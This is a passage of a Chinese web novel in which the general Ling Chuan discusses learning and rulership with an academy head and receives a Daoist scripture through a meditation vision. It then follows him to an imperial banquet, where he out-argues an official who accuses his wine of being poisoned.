这番话看似信手拈来,以寻常家务比喻庙堂之事,风轻云淡,却暗含至理,将治国之道的精髓与难处剖析得淋漓尽致。 饶是凌川自认见识广博、胸有乾坤,也不由得被这个生动而深刻的比喻所触动,陷入沉思,细细品味其中的奥妙。 第一卷 第492章 何为学问? “我一直想着,为这天下多培养几个出色的缝补匠!”院长轻叹一声,那叹息声中带着一丝不易察觉的遗憾与期盼,“只可惜啊,良材美质,可遇而不可求。” 他轻叹一声,随即端起酒杯,凌川闻言,也连忙收敛心神,双手端起自己面前的酒杯,与院长虚碰一下,随即仰头,将碗中那殷红如血的烈酒一饮而尽。 灼热的酒液如同岩浆般滚过喉咙,熟悉的炽烈感在胸腹间炸开,但他早已习惯,面不改色。 院长显然没将这酒想得如何厉害,同样举杯便饮。 然而酒液刚一入口,他那平静如水的面容顿时微微一僵,眉头几不可察地蹙起。 他竟不顾姿态将大半口酒吐了回去,饶是如此,剩下那小半口酒液,依旧如同一条狂暴的火龙,瞬间撕裂了他的喉管,带着一股蛮横的力道,直捣胸腹深处。 “咳……狼血之名,果真不假!”院长长长舒了一口气,仿佛要将胸腔里的灼热尽数吐出,眼中却闪过一抹异彩。 “这酒,就跟你那‘乾坤四训’一样,初接触时只觉得猛烈异常,细细品味之下,却让人灵台清明,醍醐灌顶,回味无穷!” 凌川放下酒杯,谦逊一笑:“院长大人过誉了!这狼血不过是北疆苦寒,将士们需要驱寒壮胆,我无意间捣鼓出来的粗劣之物。至于乾坤四训,更是晚辈一时激愤,偶有所感,信口胡诌,算不得什么真正的学问,登不得大雅之堂。” 院长缓缓放下酒杯,那双深邃如古井的眼眸凝视着凌川,忽然问道:“哦?那你认为,何谓真正的学问?” 凌川闻言,脸上的笑意渐渐收敛,神情变得郑重起来。 他略微思索片刻,而后抬起头,朗声回答道:“依晚辈浅见,‘学问’二字,既要分而解之,明了其各自精义,更要合而观之,使其相济相生,方能窥其堂奥!” 院长神色微动,似乎对凌川这个见解颇感兴趣,点头道:“有点意思。细细说来看!” 凌川微微颔首,目光沉静而坚定,继续说道:“学之一字,如同承天之甘露,是汲取先贤智慧,继承往圣绝学。读书让人明礼法、知秩序,懂得人伦纲常,这是立身处世的根基。但若仅仅止步于此,皓首穷经,却不知变通,不明世事,那充其量不过是个会走路的书橱,满腹经纶却无济世之能!” 他再次执起那粗陶酒坛,给自己的酒杯倒满,清澈酒水映出他坚毅的面容。 “真正的精髓在于这个问字。问是破云之剑,问苍生疾苦,问天地至理,问古今之变。正是这一代代先贤敢于叩问天地,才劈开蒙昧,见得真知!” 凌川字字铿锵,继续说道:凌川字字铿锵:“真正的学问,当以学为舟,问为楫。既要读破万卷,更要躬身践行。让算学不再止于纸上谈兵,而能厘清漕运账目;让兵法不再空谈韬略,而能解边关危局!” 院长满脸欣赏之色,点头道:“左真正的读书人,而非背书人!好见解!” “晚辈只是觉得,学问不应该只是书简上的冰冷文字!”凌川望向坐在对面的院长,继续说道:“只有当学问化作滋润田亩的甘霖,当道理化作制衡世人的法度,这样的学问,才堪为后世薪火!” 院长听后,久久没有说话,而是端起杯中剩下的狼血一饮而尽,这一刻,似乎狼血也不再刚烈。 侍立在一旁的三皇子周灏更是呆滞当场,脑海中如同洪钟大吕轰鸣,反复回荡着凌川刚才那番关于学与问的论述。 他自幼接受皇家教育,所闻多是经义章句,何曾听过如此将学问与实践紧密结合的独到见解? 院长缓缓放下酒杯,眼神复杂地打量着眼前的年轻人,那目光中除了难以掩饰的震惊,更有一种发现瑰宝般的由衷欣赏。 “凌川啊凌川,你到底是个什么鬼才怪胎!一个边军武将,却能道出这般治学精髓,说出去谁信?” 他微微仰头,似在回忆:“约莫半年前,我的一位学生方既白,从云州写信给我。他在信中激动地提到了那篇《水舟论》,其言‘水能载舟,亦能覆舟’,将君民关系剖析得如此深刻而警醒。我当时便心生好奇,何等饱学大儒能有此洞见?可结果却令人愕然,竟出自一位戍守边关的武将之口!” “之后,你与云书阑在幽州,关于‘修身、齐家、治国、平天下’的那场辩论,其言论笔录传入我耳中。再后来,那四句如惊雷般炸响,试图唤醒天下读书人血性与担当的‘乾坤四训’广为流传……这一切,都让我心中愈发好奇,究竟是怎样一个人,说出这般振聋发聩的言论!” 院长目光重新聚焦在凌川身上,带着几分似真似假的责备,但眼底深处却含着真切的笑意:“实不相瞒,今日你若不主动登门,老夫便要遣人持帖相请了!” 凌川连忙拱手,言辞恳切:“院长言重了!晚辈是怕贸然登门过于唐突,扰了院长清修静思。但心中对书院、对院长您的敬仰之情,终究是按捺不住,这才斗胆冒昧登门求教,还望院长勿怪!” 院长闻言,不由轻笑出声,笑声爽朗:“这些年来,往来于此的达官显贵、文人墨客不知凡几,阿谀奉承之词、故作惊人之语,老夫听得多了,耳朵都快起了茧子。却都不及你今日这般,既言之有物,发人深省,又……嗯,说得人身心舒泰!” 二人相视而笑,气氛融洽,仿佛忘年之交重逢,毫无初次见面的生疏与隔阂。 侍立一旁的三皇子周灏内心早已掀起惊涛骇浪。 他自幼便时常出入书院,见过无数王公贵胄、封疆大吏在这位当世圣贤面前,无不屏息凝神、执礼甚恭,小心翼翼。 即便是他父皇亲临书院,也必整冠肃容,以弟子之礼聆听教诲。 而眼前这位年纪轻轻的镇北将军,竟能在院长面前如此挥洒自如、侃侃而谈,言辞犀利又不失分寸,那份从容不迫、不卑不亢的气度,实属他生平仅见。 第一卷 第493章 你想当皇帝吗? 正当三皇子暗自惊叹时,院长忽然转过头看向他,语气平和却不容置疑:“你去二层看看,那些小家伙们洒扫整理得如何了!” 三皇子立时会意,这是院长要与凌将军单独深谈,他恭敬地行了一礼,不再多言,悄然转身,脚步声在古老的木制楼梯上渐行渐远,直至消失。 院长再次执起那粗陶酒坛,清澈的酒液注入杯中,发出清脆的声响。 他看似随意地问道:“你觉得这小子如何?” 凌川心知他问的是三皇子周灏,但想起昨日宋鹤年寿宴上隐约透露的立储风声,言辞愈发谨慎:“三殿下谦和仁厚,饱读诗书,又得院长您亲自指点,还能不辞辛劳,时常深入民间体察百姓疾苦,实乃心怀苍生、仁德兼备的贤德皇子。假以时日,必能成为一代贤王,造福一方黎庶!” 这番回答可谓滴水不漏,既赞扬了周灏的品行与能力,符合其皇子身份,又巧妙地避开了敏感的储位之争,未显露任何个人立场与倾向。 院长听罢,微微颔首:“他与引你入书院的许一流一般,皆是当今年轻一辈中难得的良材美玉。我之所以未将他收入门下,就是不愿让某些有心人过多关注,导致其惨死宫中!” 他语气转沉,带着一丝惋惜与洞察:“这孩子样样都好,勤勉、仁孝、聪慧,体恤民情,唯独……心肠太过仁慈,缺乏帝王应有的决断与必要时展露的雷霆手段。这般性情,守成或可为一贤王,但在这乱世将临之际,是做不了力挽狂澜、驾驭群臣的帝王的!” 凌川默然,心中深以为然。 欲登九五至尊之位,执掌天下权柄,不仅需要雄才大略与高瞻远瞩,更需一颗能在关键时刻摒弃个人好恶、做出冷酷乃至残忍决断的铁石心肠,以及平衡各方、驾驭群臣的权术与手腕。 于掌权者而言,仁慈,就是最致命的弱点。 忽然,院长神色一肃,原本平和的目光变得锐利如炬,紧紧盯着凌川,仿佛要洞穿他灵魂深处最真实的想法。 “凌川,抛开那些虚言。以你之见,眼下这内忧外患、积重难返的大周王朝,还有救吗?” 凌川迎着他的目光,缓缓摇头,回答得异常坦诚:“局势纷繁复杂,牵一发而动全身。晚辈不敢妄下断言!” “好,那我换个问法!”院长的目光灼灼,语气更加直接,带着一种不容回避的力度,“若将这天下比作一件亟待重缝的破旧衣裳,你是愿意索性将其彻底舍弃,重塑这天下经纬;还是愿意竭尽全力,在这旧衣的基础上,运用你的‘针线活’,力挽狂澜,试图将这垂危的帝国,从生死边缘拉回来?” 凌川闻言,谦逊的笑了笑,姿态放得更低:“院长大人未免太过高看凌川了!我不过是北境一州之副将,区区五品武官,人微言轻。在这席卷天下的滔滔大势面前,能保全自身与身边之人已属不易,如同狂风中的一叶扁舟,岂敢妄言改变时局、抉择天下走向?” 院长却意味深长地笑了,那笑容中带着历经百年沧桑的睿智与笃定:“我陈清辞一生阅人无数,门下教出的宰辅、学士不知凡几,就算是帝王,也有好几位曾在此聆听教诲。在识人、断人这方面,自信从未走眼!”他语气异常坚定,带着一种穿透历史的洞见: “我敢断言,似你这般人物,天生便带有搅动风云的命格。在这风云激荡、龙蛇起陆的时局下,就算你自己甘于沉寂,也一定会被别人或者大局推到风口浪尖。届时,你的选择必将如巨石投入历史的湖面,激起千层浪,深刻影响这天下未来的走向!” 他身体微微前倾,神色变得前所未有的郑重,目光如实质般落在凌川脸上:“凌川,在你做出选择之前,我最后问你一个问题!” 凌川感受到那股无形的压力,也收敛了所有随意的神态,正襟危坐,肃然道:“院长请讲!” “若现在让你登基为帝,你愿是不愿?”话音方落,一股无形的威压将凌川笼罩,仿佛整个藏书塔的空气都为之凝固。 然而凌川却不假思索地摇头。 “为何?”院长眼中闪过一丝诧异。 凌川淡然一笑,执起酒杯轻啜一口:“此前已有不止一人问过这个问题。或为试探,或为考验,但我的答案始终如一!” 他目光清明,语气平静:“对许多人而言,那龙椅象征着至高权柄与翻云覆雨的能力。但在我凌川看来,那是沉甸甸的责任与挣脱不掉的枷锁!” “实不相瞒,我是个怕麻烦的人,更无那般野心!为帝者,不仅每日要批阅如山奏折,更要平衡朝堂派系,处置天下灾患,关注边关战事……如此日复一日,只怕我要先疯了。” 凌川面带苦笑,将杯中酒一饮而尽,神色轻松:“相比之下,我更愿做个寻常人,日出而作日落而息,与妻儿相伴。即便生活清贫些,至少过得自在。” 院长闻言,不由朗笑:“我真要怀疑,你是否是个活了千百年的老怪物,否则怎能将权势看得如此通透?” 凌川迎着他的目光,笑问道:“院长此言,莫非是在说您自己?” 院子轻叹一声:“你所说的日子,确实令人心驰神往。只可惜,眼下时局,你想要独善其身绝无可能。如今帝国内忧外患,你真能眼睁睁看着天下苍生陷于水火?” 凌川正色道:“这一点晚辈明白!无论是三殿下还是陛下相询,我的回答都是,为天下苍生,凌川就算抛头颅洒热血也绝不皱一下眉头,但绝不会成为任何人巩固皇权的鹰犬!” 院长沉默良久,最终将杯中狼血一饮而尽,酒杯重重落在矮桌上,发出清脆声响。 “月盈则亏,盛极必衰,此乃天地至理。改朝换代本是历史必然,但每一次王朝更迭,背后都是累累白骨。当今陛下虽非明君圣主,却也算得守成之君,这江山不该亡于他手。” 第一卷 第494章 天宫识海 陈清辞的目光陡然锐利,如利剑般直视凌川:“我希望你别让我失望,能成为撕开这沉沉夜幕的利刃!” 凌川郑重点头,随即问出心中疑惑:“院长,永夜的势力当真强大到能与整个帝国抗衡?” 院长淡然一笑:“隐匿暗处的永夜确实令人忌惮,但他们一旦暴露在阳光下,也就那么回事!” “听杨斗重说,你在寻找《道藏》?”院长忽然转变话题。 听闻道藏二字,凌川眼中顿时迸发出光彩:“莫非书院藏有此书?” 院长轻轻摇头:“书院藏书虽多,天下也找不到第二处,但那是人家道门始经,书院怎么会有?” 就在凌川面露失望时,院长的声音再次响起:“不过,我这里确有!” 只见他抬手指向自己的额头,凌川眼中重新燃起希望之火。 不待凌川反应,院长广袖一挥,那打满补丁的衣袖宛如一道天幕从眼前拂过。 霎时间,凌川只觉周遭景象扭曲变幻,仿佛时空倒转。 待他定睛再看时,惊觉自己竟已置身于一片碧波之上,盘膝坐在如镜的湖面,倒映着漫天星辰。 凌川定睛一看,这哪里是什么湖面,分明就是一片星海。 “院长,这是何处?”凌川内心激动又震惊,声音在这奇异空间里显得空灵缥缈。 “此乃你的‘天宫’!”院长的声音传来,似乎就在耳边低语,又像是远在天际回荡,虚无缥缈,难以捕捉。 “天宫?”凌川环顾这浩瀚神奇的内心世界,一脸不解。 “天下武修所追求的,不外乎气与念这两点!”院长的声音如同古老的钟磬,“气存丹田,是为力量之根;念归天宫,是为意识之本……”经过院长一番解释,凌川渐渐明白,所谓天宫,大抵便是道家所言灵台,佛门所讲识海,即每个人独属于自己的意识世界。 至此,凌川已然意识到,眼前这位看似年轻的院长,其实力恐怕比起名震天下的剑神杨铁匠也只高不低。 他能以无上神通,引导自己的意识窥见这天宫奥秘,倒也并不算太过不可思议。 “院长,您既知晓完整道藏,何不直接念诵于我听闻?”凌川压下心中波澜,问出疑惑。 “小家伙,莫要不识好歹!”院长的声音中带着几分历经沧桑的自得,“放眼当今天下,除我之外,恐怕再无人知晓完整无缺的道门始经《道藏》真意,即便是那六大道门祖庭,亦不能外!” 正当凌川心中疑窦未消之际,程清辞的声音再度悠悠传来:“在千年之前,道门原本只有一处祖庭。可惜,后来因一场动乱,祖庭一分为六。而那道门至高经典《道藏》,也在这场浩劫中崩散残缺。虽然后世六大道门之中,亦不乏惊才绝艳之辈竭力补全,但终究失了最初的那份神韵!” “老夫亦是机缘巧合之下,得到了这最原始、最完整的《道藏》真意!然而,其中许多精微奥义,根本无法用寻常文字表述。如今,我只能以神念为引,将其化作这漫天星辉,散布于你的‘天宫’识海之中。至于你能领悟多少,全看你自身的悟性与造化!” “可是,我该如何领悟这星海中的玄奥?”凌川望着无边际的璀璨星海,感到一丝茫然。 “先让你自己彻底‘清静’下来。”院长程清辞的声音引导着他。 “何为清静?” “灵台无念为清,一念不起为静!”院长那虚无缥缈的声音再次响起,如同诵念着古老的咒语,“存神定意,一心内守。调息绵绵,微微轻出,似有而无,存神守一,凝神入炁,炁入神安,神安则形全……” 那声音仿佛拥有难以言喻的神力,帮助他驱散纷繁杂念,引导意识逐渐沉静。 凌川发现,尽管自己已经‘闭眼’,但那片星海却依旧呈现在眼前,甚至比之前‘睁眼’状态下看得更加清晰。 不多时,更让凌川震惊的事情发生了,他感觉到自己丹田气海之中,那一道独特的金色真气,竟然无需刻意引导,便自行缓缓运转起来。 与此同时,眼前这片意识星海也随之发生了奇妙的共鸣。 很快,那漫天闪烁的星辰,开始演化成一个个散发着微光的奇异‘字符’。之所以说是字符而非文字,是因为它们并非固定不变,每一个都在不断地、缓慢地演变着,那种演变,就像是将时间加速了无数倍,沧海桑田、日新月异。 而且,凌川清晰地感知到,每一个字符都仿佛拥有独特的生命,它们所代表的含义,也绝非单一文字所能局限,而是代表了一种天地至理,一种规律。 片刻之后,这些闪烁着淡金色光芒的玄妙字符,开始朝着凌川意识凝聚的核心飞来,在靠近的过程中,它们迅速缩小,化作点点流光,最终没入他的眉心深处。 随着时间的推移,字符飞来的速度越来越快,从最初肉眼可以清晰捕捉其轨迹的飘飞,到后来直接化为一道道金色流光,眨眼之间便没入其眉心。 藏书塔楼顶,现实之中。 院长程清辞依旧盘坐于凌川对面,神色平静地轻饮着杯中微凉的清茶,然而,他那双看似淡然的眼眸,从始至终都未曾离开过凌川。 随着时间的推移,程清辞的脸色逐渐变得凝重起来,眼神之中更是不可抑制地涌现出震惊之色。 尽管他的意识已经从凌川的识海中退出,但他那超凡的灵觉依旧能清晰地感受到,一股玄妙道韵,正在凌川的体内悄然形成,并以令人瞠目结舌的速度茁壮成长。 当最后一个字符没入凌川眉心之后,他意识中的那片浩瀚星海,光芒渐渐敛去,最终陷入了一片深邃的黑暗。 凌川缓缓睁开双眼,瞳孔深处似乎有一抹难以察觉的金色道韵一闪而逝,他发现自己依旧安然盘坐在蒲团之上。 坐在对面的院长陈清辞,正缓缓放下手中的茶杯,眼中是几乎抑制不住的震惊与审视。 “院长,我这算是成功领悟了吗?”凌川感受着自身的变化,不确定地问道。 第一卷 第495章 入宫赴宴 陈清辞深深看了他一眼:“你现在,充其量只能算是将这部《道藏》‘通读’了一遍。距离真正理解、领悟,还早得很!” 他话锋一转,语气中带着惊叹,“不过,你能在三个时辰内完成这初步的‘通读’,心神未被浩瀚信息冲垮……此等悟性,已是举世罕见!” “三个时辰?”凌川不由惊呼出声。 在他的感觉中,刚才那段经历仿佛只是过去了片刻光阴。 “放心,时辰尚可。前往明德殿赴宴,还来得及。”陈清辞摆了摆手。 凌川起身准备告辞,忽然想起什么,眉头微皱:“院长,为何我此次感悟《道藏》,气海之中却依旧未能修出第二道真气?” 他发现,气海中依然只有那一道金色真气,虽然比之前粗壮凝实了一倍不止,但数量未增。 “你仅有一道真气,便能越阶击败四重境武修,即便遇上五重境也能立于不败之地!”院长意味深长地看着他,“既然如此,你又何必执着于真气数量?大道三千,殊途同归。或许,你的路,本就与旁人不同。” 凌川若有所思地点头,或许自己的修炼方式确实独特,又或是因炼化他人真气‘被动’修炼所致,既然实力在提升,何必被固有观念束缚? 想通此节,凌川心中释然,他再次起身,对着院长郑重行了一礼:“多谢院长今日传道解惑之恩!” 院长微微颔首,受了这一礼。 凌川转身下楼,这一路上,他都在细细感受体内的变化。 虽未出手验证,但他能实实在在地感觉到自己变强了,不仅是真气更加雄浑,更是一种对周围环境、对自身力量更为精微的感知力在悄然滋生。 来到藏书塔门外,见洛青云正焦急地来回踱步。 一见凌川,他立刻迎了上来:“将军,您总算出来了,眼看天色渐晚,属下都快急死了!” 凌川淡然一笑:“无妨,还来得及!” 回到王府,凌川迅速沐浴更衣,苏璃亲自为他整理衣甲,将那身狻猊吞海锁环甲仔细穿戴整齐,并为他佩上战刀。 “相公,陛下为何要求你着甲赴宴?”苏璃不解地问道。 凌川摇了摇头,“我也猜不透,但陛下既然这么安排,肯定有他的深意!” “相公千万小心,拿不准的可以找外公和舅舅们商议!”苏璃交代道。 “娘子放心,我有分寸!”凌川点头说道。 登上马车,凌川发现车内竟然放着好几坛狼血,不由问道:“公公,这酒是?” 刘恩赐连忙解释道:“陛下听说,将军酿造了一种烈酒,想要让文武百官和外国使团尝尝,今日将军不在,老奴便禀告了夫人!” 凌川点了点头,“原来如此!” 今日他们所走的是承天门,宫门外已停满华贵的车轿,显然满朝文武大多在受邀之列,凌川敏锐地察觉到,今日皇宫的守卫比以往增强了许多,无形中透出一股紧张肃杀的气息。 将马车停好后,凌川在刘恩赐的指引下步入宫门。 就在这时,凌川注意到一身玄色劲装的阎鹤诏从另一条宫道走来,他腰间同样悬挂着那把从不离身的螭玄刀。 凌川停下脚步,等待阎鹤诏到来后一并同行。 “别的官员见到我,都是唯恐避之不及,也就你,还专程等我一道!”阎鹤诏哪怕是开玩笑,依旧是冷着一张脸。 凌川闻言一笑,坦然道:“那是他们不了解阎都统。其实,我觉得您有时候……挺可爱的!” 阎鹤诏眉头瞬间紧皱,那张万年冰封的脸上罕见地出现一丝裂痕,这是他数十年来第一次听到有人用‘可爱’二字来形容自己,心中说不出的怪异。 他转过脸,深邃的目光落在凌川身上,语气依旧冰冷:“我看,是你不了解我!” 凌川识趣地不再纠缠这个话题,转而问道:“陛下也让您佩刀前往?” “没有!”阎鹤诏迈着沉稳的步伐,“廷尉府总督可带刀面圣,这是太祖皇帝定下的规矩!” “那……那玉牌的事,可有消息?”凌川压低声音试探。 阎鹤诏脚步未停,目光直视前方,声音里带着告诫:“凌川,你需记住,在皇宫里活命的第一准则是,不该问的别问,不该看的别看!有些东西听后即忘,有些东西看后即忘!” 二人并肩穿过重重宫门,一路来到明德殿。 殿外早已被金吾卫接管,殿内则是灯火通明,蟠龙金柱上缠绕的纱幔在晚风中轻轻飘动,空气中弥漫着淡淡的檀香。 不少文武百官早已到来,三三两两地聚在一起低声交谈,今日是接待外邦使团,场面布置得极尽奢华。 凌川目光快速扫视全场,熟人不多,除了宋家三父子外,便只有工部侍郎娄桓对他点头致意。至于内阁首辅黄千浒这样的人物,自然是压轴出场。 在小太监的引导下,凌川走向自己的席位。 按理说,他一个五品将领在这种场合应该坐在后排,可他的位置却被安排在了第一排,与兵部尚书耿云旌并列,就连兵部左右侍郎都只能坐在他身后的第二排。 这个安排引得不少官员侧目,窃窃私语声在殿内低低回荡。 凌川左边是禁军统帅南宫昰,右边则是兵部尚书耿云旌。 这段时间他恶补了朝中官员的资料,那些画像十分传神,让他一眼就能对上号。 他先是对耿云旌和南宫昰躬身行礼,态度不卑不亢:“凌川见过耿尚书、南宫将军。” 耿云旌年逾花甲,只是淡淡颔首,态度不冷不热。反倒是南宫昰虽然面色略显苍白,却饶有兴致地打量着他:“凌将军年少有为,今日一见,果然名不虚传!” 紧接着,凌川转身来到后方,向兵部左侍郎催鉴郑重行了一礼:“尚书大人,催将军在北疆时常挂念您,特让我向您问好。” 催鉴起身还礼,脸上露出真切的笑容:“凌将军太客气了。犬子在信中多次提及将军,说你用兵如神,今日一见,更是一表人才!” 第一卷 第496章 趁机发难 “大人过誉了!”凌川谦逊道,“在北疆时,催将军对我多有照拂,却一直没有报答的机会,心中甚是愧疚。” “凌将军言重了!”催鉴摆手笑道,“你们同为边军将领,抵御外敌才是第一要务,相互帮衬是应该的。” 就在此时,殿门外传来一阵骚动。 只见一位须发皆白的老者在众星捧月下缓步而入,正是文渊阁大学士、齐党魁首齐清远。他身着紫色仙鹤补服,步履从容,不怒自威。 不少官员立刻起身行礼,态度极为谦卑,但也有不少人选择无视,甚至投去冷漠的目光,这些显然是黄党派系的官员。 紧接着,殿外又起喧哗。内阁首辅黄千浒在户部尚书顾承均的陪同下迈入大殿。他虽然面带微笑,但那双眼睛却锐利如鹰。 黄党官员立刻换上谄媚的笑容迎了上去,殿内的气氛顿时变得微妙起来,黄千浒目光在场内扫视一圈,最终在宋家几人身上停顿片刻。 落座后,他面带笑意地看向身旁新上任的次辅宋鹤年。 “几年不见,宋老爷子还是如此健朗!”黄千浒的声音平和,却带着若有似无的锋芒。 宋鹤年同样报以微笑,捋须道:“哈哈……老朽这几年安枕而卧、自得其乐,不像首辅大人整日为国事操劳,殚精竭虑。” 黄千浒皮笑肉不笑地说:“如今陛下请老爷子出山,想必接下来的日子,就没那么好过咯!” 宋老爷子纵横官场半生,岂会听不出话中机锋?他不动声色地回应:“陛下信任老臣,命我整顿朝纲。老朽就算拼掉这把老骨头,也定当不负圣恩!” 黄千浒笑着点头:“这朝堂之上,乌烟瘴气,也确实该好好整顿一番了!”他说话时手指轻轻敲击着桌面,发出规律的轻响。 两人表面上一团和气,话语间却暗藏刀剑,这番试探性的交锋虽无实质胜负,却让在场所有人都感受到了暗流的汹涌。 凌川正襟危坐,目不斜视,却能清晰地感受到无数目光在自己身上打量,这些目光大多带着审视与不善,仿佛要将他这个突然闯入权力中心的异类看穿。 自今日从书院离开后,他的听力和感知力陡然提升,他甚至能捕捉到大殿之中每个人说话的声音。 “陛下驾到!” 殿门外传来太监尖细的唱喏声,所有人立刻停止交谈,纷纷起身行礼。在一片寂静中,身着玄色龙袍、头戴金冠的皇帝缓步而入,步履间,一股浑然天成的气势弥漫而出。 他身后跟着那名年轻太监和阎鹤诏,原本该是禁军统帅南宫昰随行,因其有伤在身,便由阎鹤诏替代。 皇帝缓缓登上九龙御座,目光如实质般扫过全场。 连日来的朝堂清洗与停朝,让殿内气氛凝重如墨,群臣个个屏息凝神,连衣料摩擦声都显得格外刺耳。 在这片压抑的寂静中,君臣之间仿佛隔着一层看不见的薄冰。 “众爱卿平身!”皇帝双手微抬,声音沉稳中透着不容置疑的威严。 待皇帝落座后,文武百官才相继就座,动作整齐划一,显是经过严格训练。 他居高临下地俯视着满朝文武,声音在空旷的大殿中回荡:“今日设宴,专为大和使团接风,不谈国事。诸位皆是我大周栋梁,稍后面对使团时,务必要展现出天朝上国的气度与风范。” “谨遵圣谕!”众人齐声应答,声浪在大殿梁柱间震荡。 “宣,大和使团觐见!” 近身太监尖细的嗓音在殿内响起,声音层层传递出去。 不多时,一支异域装扮的队伍缓步而入,领头的雪姬公主依旧画着那副惨白妆容,在烛光映照下更显诡异,宛如从画中走出的鬼魅。 她身侧跟着一名白面无须的中年男子,身后则是孤冥与镜千泷两名护卫,三人腰间都佩着兵刃,在寂静中发出轻微的金属碰撞声。 “大和公主雪姬,参见大周陛下!”雪姬行至殿前,微微屈身行礼,生硬的中原话中带着异域腔调。 她身旁的中年男子也跟着行礼,却始终紧抿双唇,一言不发。 皇帝面上带着恰到好处的笑意,轻轻颔首:“诸位远道而来,不必多礼,入座吧!” 雪姬与中年男子在凌川对面的席位并排坐下,两名护卫如雕塑般静立身后。 就在落座的瞬间,雪姬与中年男子的目光不约而同地投向凌川,那眼神中淬着冰冷的敌意,显然仍未忘记此前那场不愉快的交锋。 宴席刚刚开始,那名中年男子突然起身,对着皇帝躬身一礼,用字正腔圆的中原话说道:“启禀大周陛下,我等此次出使,是为东疆海域之事而来,此事此前已禀明贵国,还望陛下能给个明确答复!” 他流利的中原话令在场官员无不色变,不少人交换着惊疑的眼神,暗自揣测着他的来历。 皇帝眼中精光一闪,面上却依旧带着温和笑意:“今日专为诸位接风,国事容后再议!”说罢抬手示意近身太监传宴。 御膳房的太监们鱼贯而入,将一道道珍馐美馔呈上各桌。 山珍海味、蒸煮炙烤、汤羹糕点琳琅满目,其中不少是连在场重臣都难得一见的御用食材。宴席间顿时香气四溢,令人食指大动。 待太监们开始为各桌斟酒时,皇帝适时开口:“今日这酒与往昔不同,乃是凌川从北疆带回来的狼血酒。朕久闻其名,昨夜小酌一杯,连风寒都好了大半!” 凌川心知皇帝在说笑,这酒分明是方才才由刘恩赐交予御酒坊的。 然而就在这时,一名户部官员突然起身走到殿中,刻意瞥了凌川一眼,扬声道: “启禀陛下,臣以为‘狼血’此名过于粗俗,不仅冲撞圣驾,用来招待外宾更会贻笑大方!” 皇帝闻言,眉头微微一皱,看向下方那名官员,后者见陛下并未表态,再度说道:“臣觉得,凌川给酒起这么个晦气的名字,明显是不怀好意!” 凌川心中暗笑,早料到会有人趁机发难,却没想对方竟在酒名上大做文章。 第一卷 第497章 此子,不好惹! 在众人注视下,凌川不慌不忙地起身,对着那名官员悠然问道:“敢问这位大人尊姓大名?” 他其实早从卷宗中得知此人乃是黄党爪牙,此刻却故作不知。 那官员一怔,在场众人也都面露疑惑,不明白凌川为何不为自己辩解,反倒问起对方名讳。 “鄙人户部员外郎何守仁!”官员傲然答道,下巴微扬,“凌将军有何指教?” 凌川点头,又问道:“那敢问何大人,可是家中排行老三?” “我乃家中独子!”何守仁不耐烦地回道,眉头紧皱。 “守仁,确实是好名字!”凌川忽然语气一转,目光锐利如刀,“看来在你心目中,根本没有忠孝二字!我实在不明白,你这等不忠不孝之徒,怎敢在陛下面前指手画脚?又有何颜面苟活于世?” 此言一出,满座哗然。 就连最擅辩驳的文官也都勃然变色,皇帝更是强忍着笑意,显然没想到凌川的嘴皮子也这么厉害。 何守仁更是气得脸色铁青,指着凌川呵斥:“你、你强词夺理……颠倒黑白,简直就是欲加之罪!” 看着何守仁气急败坏的模样,凌川反而展颜一笑:“没想到何大人竟然知道‘欲加之罪’一词,倒是难得!” 在场众人无不听出这话中深意,暗自交换着眼色。 经此一番交锋,所有人都给凌川贴上了同一个标签——此子,不好惹! 何守仁的脸色顿时变得极为难看,整张脸扭曲得如同揉皱的纸张。他胸口剧烈起伏,伸出的手指因愤怒而不住颤抖,厉声喝道:“凌川,你……你莫非就只会逞这口舌之快?” 凌川却依旧从容不迫,唇角甚至还带着一丝若有若无的笑意:“何大人误会了,咬文嚼字恰恰是凌某最不擅长的。怎么,何大人是想见识见识凌某真正擅长的本事?” 他右手看似随意地搭在腰间战刀的刀柄上,指节有节奏地轻叩着冰冷的金属。 何守仁眼中闪过一丝惊惧,但想到身后有黄千浒和顾承均撑腰,若是就此退缩,往后在朝堂上怕是再无立足之地。 他强自镇定,色厉内荏地斥道:“你个戴甲莽夫,简直粗鄙不堪!与你讲道理,简直是对牛弹琴!” 这番话不仅让凌川眼神骤冷,就连兵部尚书耿云旌、崔鉴等武将的脸色也都沉了下来。 凌川目光如电,直刺何守仁:“何大人既然如此能言善辩,不如就请你去北疆边境,与那胡羯主帅拓跋桀讲讲道理?想必以你这三寸不烂之舌,定能说得他十万铁骑乖乖退兵!” “你……”何守仁被噎得面色由青转白,一时语塞。 凌川不再看他,转而面向满朝文武,声音铿锵有力:“在我北疆军中,有个代代相传的规矩。每逢大战前夕,全军将士必共饮一碗壮行酒。有人说这是为了给新兵壮胆,但所有人都心知肚明那是壮行酒,因为这一碗酒下去,就意味着很多人再也无法活着走下战场!” 他端起面前的酒杯,暗红色的酒液在烛光下泛着幽深的光泽:“我将这酒取名狼血,就是要告诉每一个将士,那个以狼为图腾的民族并不可怕!战前先饮一碗狼血,战场上必斩尽胡羯狼骑!” “好!好一个先饮狼血,再斩狼骑!”皇帝适时接过话头,抚掌赞叹。 他亲自端起酒杯站起身,朗声道:“诸位爱卿,凌川是朕亲封的镇北将军,他的赫赫战功想必诸位都有耳闻。今日,就让我们共饮此杯,预祝北疆将士屡战屡胜,驱除虎狼!” 有皇帝带头,满朝文武无论情愿与否,都只得举杯起身。 大和使团的雪姬公主与长谷川也只得随众举杯,只是雪姬在举杯时,纤指微微发白,显是强忍着怒意。 她身后的孤冥与镜千泷更是面罩寒霜,眼神冷厉如刀,右手始终按在刀柄上。 然而一杯酒下肚,大殿内顿时响起此起彼伏的咳嗽声。 这狼血酒性极烈,灼热的酒液如同火焰般烧过喉咙,许多文官被呛得满脸通红,喘息不止,更有甚者连连拍打着胸口。 “不好,这酒有毒!”不知是谁惊呼一声,殿内顿时一片哗然。 烛光摇曳中,众人面面相觑,脸上都带着惊疑不定的神色。 尽管多数人都不信凌川会在酒中下毒,但那火烧般的灼热感实在太过猛烈,一时间所有人的目光都聚焦在凌川身上。 何守仁趁机发难,满脸通红地指着凌川喝道:“凌川,你好大的胆子!竟敢在御酒中下毒,意图谋害圣上!来人啊,将他拿下!” 凌川却连眼皮都懒得抬一下,只是在众目睽睽之下,将杯中狼血倒入口中,一饮而尽。 皇帝一个凌厉的眼神扫过去,何守仁立刻噤声退下,额角渗出细密的汗珠。 然而就在这时,大和使团中传来一声嗤笑:“素闻大周是礼仪之邦,今日一见,实在令人失望!” 说话正是雪姬公主身边那名中年男子,只见他将杯中剩余的酒液尽数倾倒在地,这个举动顿时激起众怒。 